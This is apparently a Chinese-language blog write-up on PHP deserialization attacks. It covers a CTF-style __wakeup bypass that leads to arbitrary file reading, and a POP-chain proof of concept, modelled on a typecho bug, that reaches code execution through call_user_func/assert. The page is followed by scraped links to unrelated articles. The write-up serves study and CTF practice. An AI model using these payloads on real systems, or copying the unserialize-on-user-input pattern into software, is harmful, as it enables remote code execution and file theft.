php反序列化简叙
0x01 php简单的反序列化
这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试
<?php
class SoFun{
protected $file='ser.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this ->file);
}
}
else{
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='ser.php';
}
function __toString(){
return '' ;
}
} if(!isset($_GET['file'])){
show_source('ser.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>
题目的相关魔术方法调用时机
__destruct()类似于c中的析构函数,在对象被销毁时调用
__toString()在这里没啥用
__wakeup()在进行反序列化的时候调用
__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件
__wakeup()在__destruct()前面调用
那么目的是绕过__wakeup()进行__destruct()操作
对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用
首先构造payload
<?php
class SoFun{
protected $file='hello.txt';
public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));
运行生成base64

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

0x02 PHP反序列化的进一步利用
php反序列化的知识点i春秋上的一篇文件写的非常详细
https://bbs.ichunqiu.com/thread-39169-1-1.html
那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码
<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
}
class C2{
private $a2;
function __toString(){
echo $this->a2->ying;
return "hello";
}
}
class C3{
private $fun;
private $parm;
function __get($key){
$this->run();
return null;
}
function run(){
call_user_func($this->fun, $this->parm);
}
}
if(isset($_GET['ser'])){
$s = $_GET['ser'];
$arr = unserialize($s);
$class1 = new C1($arr['siji'],$arr['dou']);
}
else{
highlight_file("demo.php");
}
?>
这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行
构造思路是入口为ser的参数,该参数是数组
ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用
该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法
__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法
而 __get魔术方法会调用到run(),从而达到代码执行
附上我写的poc
<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
} class C2{
private $a2;
function __toString(){
$this->a2->ying;
return "hello";
}
function add(){
$this->a2 = new C3();
}
} class C3{
private $fun = "assert";
private $parm = "phpinfo()";
function __get($key){
$this->run();
}
function run(){
eval($this->a3);
}
}
$class2 = new C2();
$class3 = new C3();
$class2->add();
$exp = array('siji' => $class2, 'dou' => 'dou');
echo urlencode(serialize($exp)); ?>
利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)
php反序列化简叙的更多相关文章
- C#学习笔记(1) --简叙.net体系结构
1 C#与.NET的关系 (1) C#是专门为与Microsoft的.Net Framework一起使用而设计的. (2) C#是一种基于面向对象设计方法的的语言. (3) 需要注意的是,C#就其本身 ...
- STL 里面的几个容器简叙
出处:http://blog.csdn.net/niushuai666/article/details/6654951 list1.list的成员函数push_back()把一个对象放到一个list的 ...
- AMD单双桥时序简叙
芯片组(双桥)时序 VBAT :RTC电路的供电3V(RTC电路有问题会导致没复位或不跑码等故障) RTCCLK :晶振起振给南桥提供32.768KHz频率(RTC电路有问题会导致没复位或不跑码等故障 ...
- iOS面试题集锦
一.前言部分 文中的问题多收集整理自网络,不保证100%准确,还望斟酌采纳. 1.怎样防止指针的越界使用问题? 答案: 1 .防止数组越界,必须让指针指向一个有效的内存地址, 2. 防止向一块内存中拷 ...
- 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
==Ph4nt0m Security Team== Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...
- Android SQLite总结[转载]
[转载] :http://blog.163.com/zqy216_2008/blog/static/4119371820119954812509/ 最近在做的项目涉及到了SQLite,大学时没有好好学 ...
- iOS知识点集合--更改(2)
3.nsmutablearray *a 如果直接赋值 a = @[@"d",@""]; 这个时候a 是不可变的 字典也是如此 2.如果接口调用错误的话 打印re ...
- 对称加密之AES加密详解
最近有人问我AES对称加密是啥,我回答了个大概,发现自己不能清晰的讲出来,特此记录,以供学习 一.对称加密 对称加密是最快速.最简单的一种加密方式,加密(encryption)与解密(decrypti ...
- HighCharts基本使用
一.简叙 HighCharts是一个非常强大的画图插件,在以后的工作汇报,数字展示,它将是一把利器.既然是插件,那么就有它的使用规则,我们只需要遵循它的使用规则,就可以画出我们想要的展示效果了.期待吗 ...
随机推荐
- linux挂载硬盘以及卸载硬盘
1.在vmware添加硬盘 2.输入fdisk -l 查看新增加的硬盘 3.分区初始化 4.指定文件系统 5.修改fstab文件 fstab: 6.刷新验证 mount -a 挂载定义在/etc/fs ...
- python 退出程序的方式
python程序退出方式[sys.exit() os._exit() os.kill() os.popen(...)] 知乎说明 http://www.zhihu.com/question/21187 ...
- IIS8.5 运行WCF
背景 这是一个项目给其它项目提供接口,其实现在哪有用WCF的了,都是restful.不过.net在这方面还是不错,比java强些,java竟然很多采用自己解析xml方式来做Web服务.难以理解. 但是 ...
- svn使用openldap验证apache访问方式
启用svn服务器的sasl验证机制 1.安装cyrus-sasl认证包 # yum install -y *sasl* # rpm -qa|grep sasl cyrus-sasl-2.1.23-15 ...
- python 运行日志logging代替方案
以下是自己写的 记录日志的代码.(和logging不搭嘎,如果如要学loggging模块,本文末尾有他人的链接.) # prtlog.py ############################## ...
- jquery实现星级评分
项目中遇到到实现星级评分,就用了这个插件 http://www.jq22.com/jquery-info291
- Fiddler抓包3-查看get与post请求
前言 前面两篇关于Fiddler抓包的一些基本配置,配置完之后就可以抓到我们想要的数据了,接下来就是如何去分析这些数据. 本篇以博客园的请求为例,简单分析get与post数据有何不一样,以后也能分辨出 ...
- python接口自动化测试十七:使用bs4框架进行简单的爬虫
安装:beautifulsoup4 from bs4 import BeautifulSoup yoyo = open('yoyo.html', 'r') # 以读的方式打开“yoyo.html” ...
- Javascript中类的实现机制(四)
一: 理解类的实现机制 在JavaScript中可以使用function关键字来定义一个“类”,如何为类添加成员.在函数内通过this指针引用的变量或者方法都会成为类的成员,例如:function ...
- hdu 3405 删掉某点后 求最小生成树
给出N个点的坐标 边的权值为两点间的距离 删掉其中某点 求最小生成树的权值和 要求这权值最小 因为最多50个点 所以具体是删哪个点 用枚举假如有4个点 就要求4次最小生成树 分别是2 3 4 | 1 ...